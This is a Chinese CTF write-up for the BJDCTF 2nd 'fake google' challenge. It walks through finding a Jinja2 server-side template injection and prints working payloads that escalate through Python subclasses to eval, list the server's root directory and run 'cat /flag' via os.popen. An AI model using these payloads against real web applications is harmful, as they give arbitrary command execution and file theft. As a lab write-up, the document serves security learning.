zoukankan      html  css  js  c++  java
  • [BJDCTF 2nd]fake google

    00x1分析题目

    打开页面,首先是一个goole搜索框,输入内容后Enter,页面显示P3's girlfirend is : xxxx

    在看URL框,发现这里其实是通过get方式传递了一个get形式的参数,传入的值就会输出在页面上。觉得可能是SSTI模板注入,因为这里会把输入的内容输出在页面上,那么表达式也有可能会被输出。查看源码,确定这里是SSTI模板注入。

    00x2SSTI模板注入
    表达式测试

    输入{{1+1}}测试,看表达式是否会被计算,尴尬的是页面直接500了,这里估计是ban了+号,因为当你单输入一个+号时页面不会有任何的显示。

    输入{{1*2}}测试,页面输出 2,可以了开始注入。

    查询需要借助的类

    查询可以引用的类的列表,获取到一个列表,使用python脚本查询需要的利用的类warnings.catch_warnings的位置

    {{[].__class__.__base__.__subclasses__()[169]}}

    页面显示:P3's girlfirend is : <class 'warnings.catch_warnings'>

    查询根目录下的内容
    {{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}}

    页面显示

    P3's girlfirend is : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', '.dockerenv', 'app', 'bd_build']

    读取flag文件

    {{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
  • 相关阅读:
    视图类
    基于前一天再补充
    多表与基表等概念
    模块与序列化
    vue简单实现购物车列表功能
    再顾vue
    再探vue
    iptables编辑
    python 字符串替换、正则查找替换
    Map的遍历
  • 原文地址:https://www.cnblogs.com/ersuani/p/14044123.html
Copyright © 2011-2022 走看看